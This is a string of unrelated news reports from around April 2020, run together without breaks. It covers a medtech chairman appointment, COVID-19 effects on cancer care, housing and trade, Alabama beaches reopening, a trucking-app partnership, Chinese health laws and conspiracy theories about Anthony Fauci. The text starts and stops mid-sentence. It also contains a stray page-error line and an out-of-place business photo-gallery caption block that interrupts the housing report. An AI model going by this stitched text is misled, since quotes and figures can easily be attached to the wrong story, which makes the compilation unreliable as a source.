echotherapy including varicose veins, announces today the appointment of Christopher S. Bodtker as Chairman of the company. The board has nominated Christopher S. Bodtker as Chairman of the company. He succeeds Jean-Yves Burel who has decided to leave the chairmanship of Theraclion for personal reasons, but remain at Theraclion board. Christopher S. Bodtker joined the board of the company in April 2019. He is the co-chairman of the Investment Committee of Unigestion and Chairman of Unigestion (US) Ltd. He hold several board positions in investment companies and funds. Previously, he was the CEO of Akina Ltd, an investment company which merged with Unigestion in the end of 2016. Before starting Akina Ltd, he spent 13 years with UBS in several leading positions in Europe, USA and Asia. Jean-Yves Burel said: "I am grateful to the board of Theraclion to have understood the personal reasons for which I have wished to leave the presidency of the company. For the last year, I have closely worked with Christopher. He has demonstrated a strong commitment to Theraclion, and thanks to his large experience, he has made Theraclion's board benefit from his acute strategic thinking while providing effective advice to the management team." Christopher S. Bodtker added: "I thank Jean-Yves Burel for having chaired Theraclion for these last 9 years, a critical period during which the company has developed multiple break-throughs for non-invasively treat breast fibroadenoma and benign thyroid nodule and, more recently, solutions for varicose vein treatment, a 10 billions euros market. Jean-Yves Burel has been a wonderful leader for the company and leaves a very well position growing business. I am humbled to fill his shoes and to attempt to fill the chair he vacates." About Theraclion Theraclion develops an innovative, high-techonology echotherapy solution using therapeutic ultrasound to treat varicose veins non-invasively with its SONOVEIN product. The SONOVEIN received CE_Marking in April 2019 and uses no catheter, no injection of chemicals and no incisions. No operating rooms are required. It's based on the company's previous experience with its Echopulse solution. Echopulse allows a non-invasive tumor ablation through ultrasound-guided high-intensity focused ultrasound (HIFU) of breast fibroadenomas and thyroid nodules. Varicose veins are a common pathology and generated 5 million interventions annually, according to the Millenium research Varicose Vein Device Market Study 2015. Theraclion's solutions are based on a combination of ultrasound imaging and therapeutic ultrasound, providing accuracy and ease of use to practitioners. Based in Malakoff, near Paris, France Theraclion brings together a world class team, 50% of whom are dedicated to Research and Development. For more information, please visit Theraclion's website: www.theraclion.com Theraclion is listed on Euronext Growth Paris Mnemonique: ALTHE Code ISIN: FR0010120402 LEI: 9695007X7HA7A1GCYD29 View source version on businesswire.com: https://www.businesswire.com/news/home/20200427005722/en/ Contacts: Theraclion Contacts David Auregan CFO phone: 33 (0)1 55 48 93 17 david.auregan@theraclion.com By Trend The softening of the quarantine regime in Azerbaijan since April 27 does not affect the local real estate market, Director General of the MBA Group consulting company, real estate expert Nusrat Ibrahimov told Trend. At present, activity of real estate companies is temporarily banned, and evaluation experts are not allowed to work. As for buyers and sellers, they are allowed to leave the house for only three hours during the day. During this time, it is extremely difficult to carry out buying and selling real estate. In view of the above, softening the quarantine regime has not yet affected the situation in the real estate market, the expert stressed. He said that activity in the market is still extremely weak. In view of this, it is difficult to say anything about prices. Upswing in the real estate market can be observed only after the market's main participants are allowed to work, Ibrahimov added. --- Follow us on Twitter @AzerNewsAz The wave of killings began Friday, with 23 people slain the most in a single day since Bukele was sworn in last June. It was not immediately evident what touched off the bloodshed. But 13 more people were killed Saturday, 24 on Sunday and 16 on Monday, according to police and local media reports. By Trend Another freight train from China to Turkey passed through the Baku port, a source in the Baku International Sea Trade Port (Port of Baku) told Trend. Another train, moving from China to Europe and operated by the Austrian Federal Railway, passed through the Baku port and headed to the Turkish city of Kosekoy, the source said. The train, loaded mainly with electronic devices, car parts and other consumer goods, arrived in Baku from the Chinese city of Xi'an within six days. The train consists of 115 containers and is operated by OBB Rail Cargo Group, logistics company and subsidiary of the Austrian Federal Railway. OBB Rail Cargo Group, having many branches in Europe, a staff consisting of 8,500 people and an annual turnover of 2.3 billion euros, is one of the leading European companies in the field of railway logistics. The trains running along Xi'an-Kosekoy route will operate upon a regular schedule and will become an important part of the Middle Corridor and the China-Turkey-EU corridor in the future. The Port of Baku, Austrian OBB Rail Cargo Group and Dutch Cabooter Group signed an agreement to strengthen and expand the freight traffic from Europe to Central Asia and China via the Trans-Caspian International Transport Route (Middle Corridor) on November 25, 2019. The agreement envisages the expansion of the West-to-East transport corridor from Europes busiest logistics hubs in the Netherlands such as Venlo and Germany to Turkey (Istanbul), Azerbaijan (Baku), Central Asia and further to China. Error. Page cannot be displayed. Please contact your service provider for more details. (25) By PTI NEW DELHI: With people fearing about visits to hospitals amid the coronavirus outbreak, delayed diagnosis of cancer and its stage migration could be a fallout of the current crisis, according to senior oncologists. While many medical treatments can be put off amid the COVID-19 crisis, "cancer does not wait", oncologists feel. Cancer treatment in times of coronavirus has been challenging as the pandemic is impacting both cancer diagnostics and treatment, with doctors having to balance risks versus benefits on a daily basis. Dr Bhawna Sirohi, director of Medical Oncology at Max Healthcare, said cancer is "not going to wait" and the threat from it is "now and real". "I feel patients, scared because of COVID-19, are not coming to hospitals and that is pushing them from early cancer to late stages," she told PTI. Sirohi urged patients not to be scared to come to hospitals and if they have a warning sign like a lump, they should not delay treatment. She said that she recently had a patient who ignored symptoms for three weeks and delayed consulting a doctor, but was later detected with cancer. ALSO READ| Ensure critical health services are not denied amid COVID-19 lockdown: Centre to states COVID-19 is here to stay and one just has to get used to the precautions and make it a new normal, she said. "Stage 1 and 2 (of cancer) can become 3 and 4, it can become incurable, if you don't act upon it," Sirohi said. Talking about cancer treatment in times of COVID-19, she said a balance has to be maintained between risks and benefits. "If the benefit is very small then one should avoid chemotherapy. But if you have a patient with lymphoma or blood cancer then the cure rates are very high, so you would want to go for the benefits," she said. Dr Akshay Tiwari, Associate Director and Head, Musculoskeletal Oncology, Max Healthcare, said as a bone cancer surgeon he is facing challenges at multiple levels. Patients are finding it very difficult to travel and even those who have the wherewithal to travel, are scared of coming to the hospital for the fear of contracting coronavirus, he said. Tiwari said that this means that patients who should have been seeking treatment are not doing so and that would lead to stage migration of cancer. "Some cases may even become incurable because of the delay. We are fearing this as patients are not coming to us. Similar fears have been voiced by cancer specialists across the world," he told PTI. The message should go to the public that cancer does not wait and it is even deadlier than COVID-19, the senior oncologist said. "Diagnosis may also be delayed and that is what is unfortunate. The message needs to go out that we should not ignore symptoms which are remotely linked to cancer for example a lump or swelling," he said. Dr Rajender Kumar, Additional Director and Head of Oncology at Fortis Hospital, Shalimar Bagh, said the COVID-19 crisis is definitely posing a challenge to cancer treatment as many patients with malignancy in the head and neck area or having lung cancer have symptoms similar to COVID-19. "We are using all the precautions and the staff is using PPEs as cancer treatment is essential," he told PTI. ALSO READ| Irrfan Khan admitted in ICU due to colon infection Asked whether the COVID-19 pandemic can lead to delayed cancer diagnosis, Kumar said patients are coming to his hospital and their numbers have not decreased, but it is a possibility as most of the routine clinics and hospitals are shut down and people are not going to their doctors. "We don't have data on it, but it can happen," Kumar said. Dr Niranjan Naik, Director, Surgical Oncology, Fortis Memorial Research Institute, Gurgaon, said the COVID-19 crisis is posing a challenge as patients with low immunity are at a higher risk of contracting the virus. He said the key aspect while making decisions is the cancer doubling time which is different for different cancers, with blood cancer being very aggressive as compared with breast cancer. "Whenever any symptoms emerge, one should get proper medical investigations done even in the present times as cancer will not wait," Naik told PTI. The oncologists insisted that technology must be used to reach out for medical advice and any symptom must be reported through a video conference appointment or an online OPD. As the nation fights one of its biggest health battles against COVID-19 pandemic, there are many individual battles being fought by bravehearts, both doctors and patients, to emerge victorious against other life-threatening diseases. Ebonyi state governor, Dave Umahi has relaxed the curfew he earlier imposed in the state as well as the activities of motorcycle operators. Also, he has announced the pardon of the two journalists whom he placed on life ban from covering state functions and entering any government facilities in the state. He made this known in a live broadcast on Tuesday. We are lifting the 7pm to 7am curfew and ban on Okada in Ebonyi state but not at the boundary locations. Read Also: If You Have The Pen, We Have The Koboko Umahi Threatens Journalists The restriction of the use of Okada and other means of passengers transportation, including the bike passengers vehicular movement there are still banned at the boundary locations, say 300-metre radius. On the press, I directed that the unfortunate incident with the press was not intentional but am asking everybody to disregard what has happened. Because we are all partners in progress and let us work together. But I will advise that you please cross-check information. I specifically asked that the SUN and Vanguard reporters be invited as a father when you beat a child with one hand you bring the child back with another hand, he explained. Indian tech-led startups attracted funding worth USD 2.5 billion in the first quarter of 2020, a 14 per cent rise compared to the same period last year, a report by research and consulting firm HexGn said. However, funding in startups on a global level dropped by 15 per cent to USD 60 billion in the quarter as compared to the year-ago period, the report said. It added that the number of startup deals fell by over 56 per cent to 4,100. HexGn said the numbers are an early guidance and there could be changes as more companies make announcements on funds received. It also anticipated delays in sharing of such information amid the coronavirus outbreak that has disrupted businesses worldwide. The report said the first quarter of 2020 has been very challenging for the global startup community, where even the US saw its tech startup funding dip by 10 per cent to USD 38 billion. The top deals included those by Beike from China (USD 2.4 billion) and USD 1.2 billion for Gojek. Bad continues to pour in for China, where funding in Q1 dropped by a massive 45 per cent from the previous year. The drop is even steeper when compared to the first quarter of 2018, plunging by 63 per cent. With the election year in America and sharpened rhetoric, things could get worse for China, before they can get any better," it added. The report noted that Indian startups seem to have bucked this global scenario till now. "The number of startup funding deals in India has grown by 30 per cent in the last quarter to 277, from 210 in Q1 of 2019. Another good is that the Indian funding in the last quarter was not dominated by mega-billion dollar-plus infusions," it added. The most significant ones included BYJU's USD 200 million funding round, while FirstCry, Zomato, Swiggy, CureFit, Unacademy, and Bounce each grabbed over USD 100 million in startup funding in the first quarter this year. "Post COVID-19 too, Indian startups stand an excellent chance to capture a piece of this pie. With Facebook pumping in USD 5.7 billion in Jio, India is high on investment radar. Investors are getting attracted to a healthy breed of homegrown entrepreneurs, who have gone through the cycle of entrepreneurship," the report said. It added that supportive policies by the Indian government and increased availability of local capital are giving further impetus to the startup ecosystem. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) After more than a month of coronavirus restrictions, businesses that once thrived along Alabamas beaches are ready to start rockin and rollin again. Gov. Kay Ivey announced Tuesday that Gulf Shores and Orange Beach will reopen Thursday April 30 effective 5 p.m. All Alabama beaches have been closed since March 19 in order to combat COVID-19. Several Florida panhandle beaches reopened about a week ago and several more, including Escambia County (Fla.) and Santa Rosa County beaches, are reopening on May 1. Since the beaches and other businesses around the state closed or suffered economic hardship, the Alabama Department of Labor has distributed $372 million in COVID-19 related unemployment compensation benefits. According to NBC News, Alabama has had over 341,000 claims, equating to 15.2 percent of the states workforce. Rental occupancy rates in Baldwin County collapsed from 70% in early March to below 30%. Orange Beach Mayor Tony Kennon said the city is seeing only 20 percent of the money it would see this time of year and would be at risk of bankruptcy if the closures continued. Our whole town is dependent on small business. The BP oil spill 10 years ago was very bad, but from an economic standpoint this is even worse, Kennon said. Lulu's in Gulf Shores, a popular eatery for tourists and families in the Gulf Coast area, is closed during the coronavirus crisis that has crippled the U.S. economy and has shut down the hospitality industry in Coastal Alabama. (John Sharp/jsharp@al.com). Ivey announced that even though the states beaches and retail stores will reopen Thursday, restaurants, bars and breweries will remain limited to takeout, curbside or delivery service. Several notable beach restaurants have been closed since late March including LuLus, Bahama Bobs Beach Side Cafe, Original Oyster House and The Hangout. Moes Original BBQ, the Alabama founded chain, has had many of their locations stay open for delivery and takeout during the pandemic. We are very excited for the beaches reopening, said Lee Nelson, co-owner of Moes Original Barbecue location in Orange Beach. It will be a day-by-day thing, but we will keep rockin and rollin. Its definitely been a struggle for sure but were fortunate to still have the business we do. We have been feeding first responders and just been trying to help out with feeding the local community during this difficult time. The Chadron Police Department received a report of a missing woman from Chadron on Monday, according to a press release. The missing woman was identified as 43-year-old, Chadron resident, Spring Burks. Burks had last seen on Monday at 8:30 a.m. and was reported to be headed to Colorado. Nobody has seen her since her departure from her residence. She had been reported to be driving a 1999 Volkswagen Passat, lavender in color, bearing South Dakota license plate 27A917. Around 373,000 property transactions, with a total value of 82bn, are now on hold due to coronavirus lockdown measures, according to estimates from Zoopla. The majority of the sales, which Zoopla said are worth just under 1bn in estate agency fee income, were agreed between November 2019 and February 2020. They would have been set to complete between April and June. Zoopla said the number of sales being agreed is running at a tenth of the levels recorded in early March, with volumes similar to what would be expected around Christmas time in late December. The government has said that, where a property is currently occupied, home-movers should do all they can to amicably agree alternative dates to move. Business news: In pictures Show all 13 1 /13 Business news: In pictures Business news: In pictures Flybe collapses Airline Flybe has collapsed. All future flights on the Exeter-based airline have been cancelled leaving more than 2,300 staff facing an uncertain future, and wrecking the travel plans of hundreds of thousands of passengers. The chief executive, Mark Anderson, said: Europes largest independent regional airline has been unable to overcome significant funding challenges to its business. AFP via Getty Business news: In pictures Future product placement will be 'tailored to individual viewers' Marketing executives say that product placement in films and televison shows on streaming services such as Netflix may be tailored to individuals in future. For instance, if data shows that a viewer is a fan of pepsi, a billboard in the background of a shot would host an advert for pepsi, while for a viewer known to have different tastes it could be for Coca-Cola Paramount Business news: In pictures Corbyn wishes Amazon a happy birthday In a card sent to Amazon CEO Jeff Bezos on the company's 25th birthday, Labour leader Jeremy Corbyn writes: "You owe the British people millions in taxes that pay for the public services that we all rely on. Please pay your fair share" Business news: In pictures No deal, no tariffs The government has announced that it would slash almost all tariffs in the event of a no-deal Brexit. Notable exceptions include cars and meat, which will see tariffs in place to protect British farmers Getty Business news: In pictures Fingerprint payment NatWest is trialling a new bank card that will allow people to touch their hand to the card when paying rather than typing in a PIN number. The card will work by recognising the user's fingerprint NatWest/PA Wire Business news: In pictures Mahabis bust High-end slipper retailer Mahabis has gone into administration. 2 Jan 2019 Mahabis Business news: In pictures Costa Cola Coca-Cola has paid 3.9bn for Costa Coffee. A cafe chain is a new venture for the global soft drinks giant PA Business news: In pictures RIP Payday Loans A funeral procession for payday loans was held in London on September 2. The future of pay day lenders is in doubt after Wonga, Britain's biggest, went into administration on August 30 PA Business news: In pictures Musk irks investors and directors Elon Musk has concluded that Tesla will remain public. Investors and company directors were angry at Musk for tweeting unexpectedly that he was considering taking Tesla private and share prices had taken a tumble in the following weeks Getty Business news: In pictures Jaguar warning Iconic British car maker Jaguar Land Rover warned on July 5, 2018 that a "bad" Brexit deal could jeopardise planned investment of more than $100 billion, upping corporate pressure as the government heads into crucial talks AFP/Getty Business news: In pictures Spotif-IPO Spotify traded publically for the first time on the New York Stock Exchange on Tuesday. However, the company isn't issuing shares, but rather, shares held by Spotify's private investors will be sold AFP/Getty Business news: In pictures French blue passports The deadline to award a contract to make blue British passports after Brexit has been extended by two weeks following a request by bidder De La Rue. The move comes after anger at the announcement British passports would be produced by Franco-Dutch firm Gemalto when De La Rues contract ends in July. The British firm said Gemalto was chosen only because it undercut the competition, but the UK company also admitted that it was not the cheapest choice in the tendering process. Business news: In pictures Beast from the east economic impact The Beast from the East wiped 4m off of Flybes revenues due to flight cancellations, airport closures and delays, according to the budget airlines estimates. Flybe said it cancelled 994 flights in the three months to 31 March, compared to 372 in the same period last year. People can still continue to move in limited circumstances, such as in cases where the property is vacant. Joanne Robinson, a property lawyer who was previously renting in London, has agreed to buy a property in Amersham to be closer to her work. She said: Things are completely up in the air for me at the moment... Moving from central London to Amersham is crucial for my work and the home I have bought is absolutely perfect for my needs now. Keeping in close dialogue with the current owner is helping to keep things alive and kicking. As soon as an exchange date is set, I'm sticking my blow-up bed in a hired van and moving myself to Amersham. Recommended How housing associations are failing tenants Zoopla said the rate of sales falling through peaked on 23 March - the day stricter social distancing measures were imposed. Demand from would-be buyers fell by 70 per cent between the start of March and the week ending 29 March. The fall in demand bottomed out in early April and has since seen a slow improvement, Zoopla said. Buyers can still go online to do virtual viewings of properties they are interested in. Guy Gittins, managing director of estate agents Chestertons, was quoted by Zoopla as saying: Chestertons has had a number of sales exchange and complete every week since lockdown, including one property last week in central London with an asking price of 7.5m and another which was completed in under seven days after the buyer did a virtual viewing. Zoopla's report said that, over the past two weeks, demand for housing in cities across northern England has rebounded more strongly - notably in Manchester, Liverpool and Leeds. These are all cities where 2020 started strongly and where housing affordability remains attractive, and where we could see a faster bounce-back when restrictions lift. By contrast, higher value cities such as Cambridge, Edinburgh and Southampton have not yet recorded any material improvement in demand over the past few weeks, according to the report. Zoopla now expects the number of completed sales across the UK this year to be around half of 2019 levels. Richard Donnell, director of research and insight at Zoopla, said: Parts of the market are at a virtual standstill as a result of the physical restrictions that have stopped new supply coming to the market and the viewing of homes for sale. However, the online browsing of homes for sale and buyers expressing interest in property have been rising off a low base over the last two to three weeks. Demand for housing is still 60 per cent lower than at the start of March, but we expect interest in housing to continue to improve slowly. Northern cities have seen the strongest improvement in underlying demand although levels remain half those at the start of the crisis. Sales continue to be agreed in low volumes by purchasers who viewed homes ahead of the lockdown, but there is a large pipeline of agreed sales held up by the temporary suspension of the sales market worth 82bn. These homes represent just under 1bn in estate agency fee income. In addition, these sales will generate associated spend resulting from housing transactions that can stimulate economic activity. Press Association GENEVA (ILO News) As the pressure mounts on countries to ease their lockdown restrictions, the International Labour Organization (ILO) has urged Governments to take action to prevent and control COVID-19 in the workplace, with active involvement and dialogue with employers and workers organizations. All employers need to carry out risk assessments and ensure their workplaces meet strict occupational safety and health criteria beforehand, to minimize the risk to workers of exposure to COVID-19, says the ILO. Without such controls, countries face the very real risk of a resurgence of the virus. Putting in place the necessary measures will minimize the risk of a second wave of contagion contracted at the workplace. The safety and health of our entire workforce is paramount today. In the face of an infectious disease outbreak, how we protect our workers now clearly dictates how safe our communities are, and how resilient our businesses will be, as this pandemic evolves, said the Director-General of the ILO, Guy Ryder. It is only by implementing occupational safety and health measures that we can protect the lives of workers, their families and the larger communities, ensure work continuity and economic survival, Ryder added. In particular, risk control measures should be specifically adapted to the needs of workers at the frontline of the pandemic. These include health workers, nurses, doctors and emergency workers, as well as those in food retail and cleaning services. The ILO also highlighted the needs of the most vulnerable workers and businesses, in particular those in the informal economy, migrant and domestic workers. Measures to protect these workers should include among others education and training on safe and healthy work practices, free provision of PPE as needed, access to public health services and livelihood alternatives. The COVID-19 pandemic has highlighted the urgent need for strong national programmes to protect the health and safety of health workers, medical professionals, emergency responders, and the many other workers risking their lives on our behalf, said Dr Tedros Adhanom Ghebreyesus, WHO Director-General. On World Day for Safety and Health at Work, I call on all countries to assure well-defined, decent and safe working conditions for all health workers. To ensure a safe return to work and to avoid further work disruptions, the ILO recommends: Dr. Joseph Obeng 28.04.2020 LISTEN The Ghana Union of Traders' Association (GUTA) is appealing to government to give its members a three-week grace period to mobilize funds to clear their goods stranded from the country's ports. Their concerns come barely a week after the Ghana Shippers' Authority officially informed the Ghana Ports and Harbours Authority (GPHA) and other players in the shipping industry to waive charges on demurrage/detention and storage rent charges on all cargo which had remained uncleared at the ports from March 30, 2020 to April 19, 2020 following a directive from government. However, the traders' unions argue that some concerns from Ship Owners and Agents Association of Ghana has brought about some challenges. President of GUTA, Dr. Joseph Obeng, in a statement issued on Sunday, April 26, 2020, said as a matter of expediency, we would appeal to government through the Minister of Transport and also our sector minister, Minister of Trade and Industry, to give all those who have been affected in this matter a grace period of three weeks to mobilize funds and clear their goods at the ports. We have received a copy of a letter on the same subject matter from the Ship Owners and Agents Association of Ghana to the Ghana shippers' Authority expressing some reservations regarding some aspects of the contents of the directive. Thus, this will go a long way to avert any agitation that may arise out of the frustrations that our members encounter at the moment, they added. They are also seeking for clarification on whether charges on cargo which arrived prior to the lockdown but was not cleared as at the date of lifting the lockdown should be waived. Among other demands, they also want clarity on whether cargo arriving between the lockdown up to the date of lifting on April 19, 2020 should be charged; and what should be expected in the case of another partial lockdown. They further asked for explanation on the issue of how cargo arriving within this period should be treated as the lockdown has been lifted. While acknowledging that the concerns raised by the Ship Owners and Agents Association are legitimate, they want the issues addressed urgently in order not to cause further delay in carrying out the directive of the Transport Ministry to worsen the situation of already frustrated members. Earlier this month, GUTA petitioned government to compel GPHA and the shipping lines to defer rentals and waive demurrage and rent charges on cargo at the country's ports during the period of the partial lockdown amidst the Covid-19 pandemic. This was eventually granted by the Ministry of Transport. Citibusiness Srinagar, April 28 : One militant has been killed in an ongoing encounter at Zainpora in south Kashmir's Shopian district, officials said on Tuesday. "Op Melhura (Shopian). One terrorist killed. Joint operation in progress," the army said in a brief statement. According to the details received here, security forces had a specific input about the presence of a group of two to three militants holed up in the area. As the cordon was tightened the hiding militants fired at the security forces that triggered the encounter. The joint operation by the police and the army is underway with firing going on between the two sides. Top officials of the police have reached the spot and are monitoring the operation. Trucker Tools mobile driver app now has more options for truck drivers to find and secure reliable overnight parking SecurSpace and its unique model delivers a previously untapped source of parking capacity for the Trucker Tools carrier community, addressing the critical need for more safe, secure parking for our nations truck drivers. -- Prasad Gollapalli, chief executive, Trucker Tools. Trucker Tools, which provides real-time shipment visibility, trip planning, freight-matching and automated booking tools for freight brokers and small-fleet truckload carriers, announced today a strategic engagement with SecurSpace, which operates an online marketplace that connects businesses looking for parking and storage options to property owners with dedicated or excess capacity. The engagement will provide the driver community on the Trucker Tools mobile app with an additional resource for both overnight and longer-term truck parking, noted Prasad Gollapalli, founder and chief executive of Reston, VA-based Trucker Tools. We continue to look for strategic partners that can enhance and extend the tools and resources truckers rely on to efficiently run their business, he said. SecurSpace and its unique model delivers a previously untapped source of capacity addressing the critical need for more safe, secure parking for our nations truck drivers. SecurSpace enables on-demand access to industrial real estate properties with available parking, which previously was not accessible, in cities across the country, explained Lance Theobald, co-founder and CEO of SecurSpace, headquartered in Charlotte, NC. We provide a platform solution that aggregates this latent capacity and makes it easily accessible in one place, he said. We are combatting issues caused by the lack of adequate space in cities and near major highways and interstates. Trucking and logistics businesses nationwide contend with this issue on a daily basis and solving this problem is our specialty. Theobald noted that for commercial real estate owners, SecurSpace provides an opportunity to produce new revenue from previously unused or underutilized property. We are helping them monetize an asset [parking space] in a way they could not previously and bring it to a market where there is significant demand, he said. The addition of SecurSpace once again expands the depth and scope of app-based, GPS-enabled parking search and reservation features Trucker Tools provides to its driver community, Gollapalli added. Drivers tell us they want access to more resources, and a less time-consuming process to find and secure reliable parking, he said. This is a strategic imperative and one of the top asks we get from drivers. SecurSpaces Theobald said the companys focus up to this point has been primarily on fleets and businesses seeking longer-term parking solutions for multiple trucks, trailers and intermodal containers. The engagement with Trucker Tools marks a concerted effort to rapidly grow in the overnight parking market with over-the-road truckers and small fleets. Trucker Tools has a great reputation in the industry and has aggregated a very deep pool of owner-operators and small fleets by staying focused on driver needs and improving their life through great service and great apps, he said. Its the perfect partner to extend us as a resource to drivers for safe, reliable overnight truck parking. Were excited to be able to complement and enhance one of the most important features on its app for drivers. The Trucker Tools mobile app has been downloaded by nearly 900,000 independent truckers and is utilized by some 140,000 small fleet operators. The SecurSpace marketplace is used every day by hundreds of businesses to reserve parking and storage for commercial vehicles, overnight truck parking, trailer and container drop yards, and many other needs. The Trucker Tools multi-functional, multi-party mobile app is provided free of charge to independent truckers and small fleets. The SecurSpace app also is free to independent truckers and small fleet operators. The companies expect to begin integration work in mid-May with commercial availability to follow sometime in June. China is planning to formulate or revise a total of 17 health-related laws this year and next year to strengthen legal safeguards for public health, according to a report made public Monday. The report was submitted to the Standing Committee of the National People's Congress (NPC), China's top legislature, for deliberation at its ongoing legislative session, which opened Sunday. After years of hard work, a public health legal system involving over 30 laws has been basically set up in China, said Shen Chunyao, director of the Legislative Affairs Commission of the NPC Standing Committee, when delivering to lawmakers the report on legislation and law revision work to strengthen safeguards for public health. But the COVID-19 epidemic has exposed some problems in legislation and indicated the need for systematic law revisions and improvements, Shen said. According to the report, aside from a decision on banning illegal wildlife trade passed at the previous NPC Standing Committee session and a revision to the law on the prevention and control of environmental pollution by solid waste expected to be passed at this session, the legislation plan called for prompt efforts to formulate the biosecurity law and revise the law on animal epidemic prevention. Efforts should be made to expedite revising the wild animal conservation law and the frontier health and quarantine law, while revisions and improvements for the law on the prevention and treatment of infectious diseases, the emergency response law and others should be carefully assessed, according to the report. Relevant improvements were also proposed for the draft civil code and the draft amendments to the criminal law, Shen said. Lawmakers will deliberate the report in panel discussions Tuesday, according to the agenda. The legislative session will run through Wednesday. Since the early days of the coronavirus pandemic, Dr. Anthony Fauci, the countrys leading expert on infectious diseases, has established himself as the authoritative public face of the Trump administrations coronavirus response. For some, however, he has taken on a different role. In recent weeks, Fauci has emerged as the latest target in the vast web of COVID-19-related conspiracy theories that have been circulating on social media since reports of the coronavirus first began to emerge out of Wuhan, China, in January. Like other coronavirus villains, from the Chinese government to Bill Gates, Fauci has been charged with an array of nefarious activity, all of it implausible and some of it mutually contradictory. According to some theories, for example, hes both played a role in creating the coronavirus and exaggerated the risks of a fake pandemic. According to widely viewed and shared YouTube videos, Facebook posts and memes, Faucis alleged motives include ties to big pharma, a financial stake in a future coronavirus vaccine and involvement in a deep state plot to destroy the economy and influence the presidential election in November. Experts warn that recent efforts to undermine scientists and public health officials like Fauci have the potential to further compound the dangers of misinformation, which has spread alongside the coronavirus as a dangerous comorbidity to the pandemic itself. Trust ... is one of the most important factors to handle such a pandemic, said Pia Lamberty, a PhD student at Johannes Gutenberg University Mainz, in Germany, who studies the psychology of conspiracy beliefs. If people do not believe what [the experts] say, they are less likely to follow their recommendations. Dr. Anthony Fauci, director of the National Institute of Allergy and Infectious Diseases, at a White House coronavirus briefing on April 17. (Alex Brandon/AP) Lamberty said that the proliferation of conspiracy theories around the coronavirus is not surprising, as conspiracy theories arise especially when people feel that they have no control. Not only that, but Lamberty said that the kinds of narratives that are currently being spread about the coronavirus (that it is man-made, designed to harm certain groups and benefit those in power) are similar to those that arose in response to previous major disease outbreaks, such as Zika, Ebola and AIDS. In fact, it has been true of epidemics going back at least to the Middle Ages. Story continues Health officials are often a target of conspiracy theories and disinformation, she added. While the disinformation campaign that has emerged around the coronavirus includes many classic conspiracy theory tropes, the recent focus on Fauci, as well as other health authorities like the World Health Organization, also seems to reflect a particularly Trumpian phenomenon, in which the president and his allies within the administration are seen by supporters as separate from the rest of the federal government, and any official or institution that contradicts President Trumps message is viewed as an enemy. I think the Trump world is unique in the sense that they are entirely engaged in a narrative battle devoid of fact and reality and nothing else. Its the only thing theyve been successful at, said Danny Rogers, chief technology officer of the Global Disinformation Index, which works to track and disrupt the spread of misinformation online. Rogers, who also teaches a course on disinformation and narrative warfare at the New York University Center for Global Affairs, said that Faucis loyalty to science and data is at odds with loyalty to [the] narrative that the administration and its supporters often want to spin. Fauci looks on as President Trump addresses the daily coronavirus task force briefing on April 9. (Jonathan Ernst/Reuters) Though Fauci has thus far managed to hold on to his position, his public divergence with Trump on a number of points, including the presidents previous pledge to reopen the economy by Easter and his premature endorsement of hydroxychloroquine as a potential treatment for the coronavirus, has prompted calls from Trumps supporters to #FireFauci the hashtag on a Twitter message Trump himself retweeted, while denying any intention of dismissing the scientist, who has been a leader in public health since his much-praised efforts in the early AIDS epidemic. Conservative media outlets like Fox News and Steve Bannons War Room podcast have also questioned Faucis authority, although with less obviously invented pretexts than a secret investment in a nonexistent vaccine. Earlier in April, the government was forced to step up security for Fauci amid threats to his personal safety. Fauci, of course, is far from the only imaginary villain in the fight against what the president likes to call the invisible enemy, and the disinformation comes from a wide range of sources, including administration officials, which Rogers said was one of the biggest challenges in combating it. Last week, Ken Cuccinelli, the acting deputy secretary of homeland security, retweeted a post that referred to the recommendations of the World Health Organization as Chinese propaganda, the theme of much conservative commentary following Trumps public dispute with the WHO. These are supposed to be sources of definitive information at a time when we need definitive information, Rogers said of officials like Cuccinelli. Similar attacks against health officials have also been playing out on the state level. Last week, for example, Ohios Republican Gov. Mike DeWine came to the defense of Dr. Amy Acton, director of the states health department, after a state senators wife wrote a Facebook post denouncing Actons comments about issuing health certificates to people presumed to be immune to COVID-19. The post, which has since been deleted, compared the plan to Nazism. Hundreds of demonstrators rallied in front of the state Capitol in Albany, N.Y., on April 22 to demand that Gov. Andrew Cuomo lift the states lockdown and restart the economy. (Karla Ann Cote/NurPhoto via Getty Images) Both Rogers and Lamberty emphasized the role social media has played in helping to spread conspiracy theories about the coronavirus more widely around the globe, exposing them to people who might ordinarily not be inclined to seek them out. But what happens online doesnt stay online, said Rogers. He said that recent protests against state quarantine measures are a great example of the way online information sharing [is used] to get people to take offline action. Though rallygoers have cited the economy and concerns about civil liberty among their motivations for participating in these protests, conspiracy theories, including some featuring Fauci, have been shared by a number of public Facebook groups and accounts associated with organizing these events. Protesters have also been photographed carrying signs with slogans like Fauci was wrong and #Fake crisis. Ultimately, the experts warn, the mistrust that is fomented by conspiracy theories poses real dangers to health and public safety. In addition to the increased affinity for violence that often accompanies belief in conspiracy theories, Lamberty noted that her research has found that distrust of power also influences choice of medical procedures. According to her, the more inclined someone is to believe conspiracy theories, the more likely they are to reject the use of conventional medical treatments such as vaccination and antibiotic therapy. In times of a global pandemic, people who believe in such conspiracy theories might not only endanger themselves but put other people at risk, she said. Rogers pointed to a recent study examining the behavior and health outcomes among Fox News viewers during the early days of the coronavirus crisis as a really definitive demonstration that ones information environment can lead to serious offline risks. A participant in a demonstration in Indianapolis on April 18. (Jeremy Hogan/SOPA Images/LightRocket via Getty Images) According to a working paper published by the Becker Friedman Institute for Economics at the University of Chicago, the study looks specifically at behavior and health outcomes among the audiences of Fox News Hannity and Tucker Carlson Tonight, two of the most widely viewed cable news shows in the U.S. While Carlson began warning viewers in early February of the potential threat posed by the coronavirus, researchers found that Sean Hannitys show initially ignored the issue, then downplayed the risks of the virus, accusing Democrats of using it as a political weapon to undermine Trump. The researchers found that greater viewership of Hannity relative to Tucker Carlson Tonight is strongly associated with a greater number of COVID-19 cases and deaths in the early stages of the pandemic. Despite an early and coordinated effort by the WHO to combat what it referred to as an infodemic, misinformation about COVID-19 has proved to be as contagious as the disease itself. Lamberty noted that those efforts face increased challenges amid misinformation and conspiracy theories designed to erode trust in health authorities, including the WHO. If someone generally believes that the WHO is just lying, he or she will not take their information campaigns seriously either, said Lamberty. This, of course, makes it much more difficult to address misinformation. _____ Click here for the latest coronavirus news and updates. According to experts, people over 60 and those who are immunocompromised continue to be the most at risk. If you have questions, please refer to the CDCs and WHOs resource guides. Read more: KEY HIGHLIGHTS Attempt to overcharge Andhra Pradesh government on South Korean rapid test kit Hyderabad-based supplier told will get only lower price quoted for same product in Chhattisgarh government tender To pay Rs 337 per test instead of original quote of Rs 730 Second 